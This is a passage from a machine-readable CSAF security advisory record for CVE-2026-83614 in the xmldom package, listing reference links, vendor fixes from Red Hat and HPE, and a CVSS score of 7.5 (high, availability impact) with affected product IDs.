                    "summary": "Source - bleepingcomputer",
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-september-2026-patch-tuesday-fixes-966-flaws-2-zero-days/"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-93r5-fhx6-vmg9"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/errata/RHSA-2026:69248"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-83614"
                },
                {
                    "category": "external",
                    "summary": "Source - certbundde",
                    "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3596.json"
                },
                {
                    "category": "external",
                    "summary": "Source - certbundde",
                    "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3623.json"
                },
                {
                    "category": "external",
                    "summary": "Source - hpe",
                    "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05155en_us&docLocale=en_US"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-93r5-fhx6-vmg9.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - ncscclear",
                    "url": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0431"
                },
                {
                    "category": "external",
                    "summary": "News - bleepingcomputer",
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-september-2026-patch-tuesday-fixes-966-flaws-2-zero-days/"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/xmldom/xmldom/commit/0748720b620555f8c222782dcab575cf0cf403b4"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/xmldom/xmldom/commit/f40ccb861eee0acbf5ee4feb9a34932e87b329c9"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/xmldom/xmldom/pull/1071"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/xmldom/xmldom/pull/1072"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-93r5-fhx6-vmg9"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv; redhat",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83614"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-83614"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-93r5-fhx6-vmg9"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/errata/RHSA-2026:69248"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-19534"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-33818"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-54272"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-55553"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-56853"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-56858"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-56859"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-56860"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-56862"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-67214"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-67312"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-67422"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-69152"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-69192"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-73086"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-75899"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-75931"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-75975"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-76172"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-83605"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-83607"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-83608"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-83613"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-83614"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-83615"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-83616"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-83619"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-84292"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-84394"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-84961"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://access.redhat.com/security/updates/classification/"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2526826"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://catalog.redhat.com/search?gs&searchType=containers&q=rhdh"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://developers.redhat.com/rhdh/overview"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://docs.redhat.com/en/documentation/red_hat_developer_hub"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://issues.redhat.com/browse/RHDHBUGS-3741"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_69248.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "http://linux.oracle.com/errata/ELSA-2026-74085.html"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3596.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-3596"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289740"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7290698"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7292706"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-3623.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-3623"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289775"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289776"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289778"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289779"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289780"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289783"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289785"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289787"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289788"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289789"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289790"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289791"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289792"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289794"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289795"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289796"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289797"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289798"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://www.ibm.com/support/pages/node/7289800"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/83xxx/CVE-2026-83614.json"
                }
            ],
            "remediations": [
                {
                    "category": "vendor_fix",
                    "details": "For more about Red Hat Developer Hub, see References links",
                    "product_ids": [
                        "CSAFPID-5760320",
                        "CSAFPID-9368042"
                    ],
                    "restart_required": {
                        "category": "none"
                    },
                    "url": "https://access.redhat.com/errata/RHSA-2026:69248"
                },
                {
                    "category": "workaround",
                    "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
                    "product_ids": [
                        "CSAFPID-5760320",
                        "CSAFPID-9368042",
                        "CSAFPID-9368043",
                        "CSAFPID-9368044"
                    ]
                },
                {
                    "category": "vendor_fix",
                    "details": "Update to HPE Telco Service Orchestrator v5.7.1 or later.",
                    "product_ids": [
                        "CSAFPID-9512266"
                    ]
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-1317177",
                        "CSAFPID-1337768",
                        "CSAFPID-1439279",
                        "CSAFPID-1439294",
                        "CSAFPID-1439317",
                        "CSAFPID-1439319",
                        "CSAFPID-1439328",
                        "CSAFPID-1441120",
                        "CSAFPID-1496261",
                        "CSAFPID-1508265",
                        "CSAFPID-1508266",
                        "CSAFPID-1663145",
                        "CSAFPID-2858634",
                        "CSAFPID-2868420",
                        "CSAFPID-3437183",
                        "CSAFPID-3437184",
                        "CSAFPID-3437185",
                        "CSAFPID-3437186",
                        "CSAFPID-3437187",
                        "CSAFPID-3437188",
                        "CSAFPID-3437191",
                        "CSAFPID-3441068",
                        "CSAFPID-3441069",
                        "CSAFPID-3441070",
                        "CSAFPID-4349372",
                        "CSAFPID-5037326",
                        "CSAFPID-5037327",
                        "CSAFPID-5037328",
                        "CSAFPID-5037329",
                        "CSAFPID-5211181",
                        "CSAFPID-5811359",
                        "CSAFPID-5940623",
                        "CSAFPID-5991503",
                        "CSAFPID-6239273",
                        "CSAFPID-6245821",
                        "CSAFPID-6245822",
                        "CSAFPID-6245823",
                        "CSAFPID-6245824",
                        "CSAFPID-6245825",
                        "CSAFPID-6245826",
                        "CSAFPID-6245827",
                        "CSAFPID-6245828",
                        "CSAFPID-6245829",
                        "CSAFPID-6245830",
                        "CSAFPID-6245831",
                        "CSAFPID-6245832",
                        "CSAFPID-6245833",
                        "CSAFPID-6245834",
                        "CSAFPID-6245835",
                        "CSAFPID-6245836",
                        "CSAFPID-6245837",
                        "CSAFPID-8740607",
                        "CSAFPID-8740608",
                        "CSAFPID-8932784",
                        "CSAFPID-9104838",
                        "CSAFPID-9104839",
                        "CSAFPID-9104868",
                        "CSAFPID-9104869",
                        "CSAFPID-9104870",
                        "CSAFPID-9104939",
                        "CSAFPID-9105480",
                        "CSAFPID-9111866",
                        "CSAFPID-9111867",
                        "CSAFPID-9477920",
                        "CSAFPID-9477921",
                        "CSAFPID-9485661",
                        "CSAFPID-9485662",
                        "CSAFPID-9485663",
                        "CSAFPID-9512266"
                    ]
                }
            ],
            "title": "CVE-2026-83614"
        }
    ]
}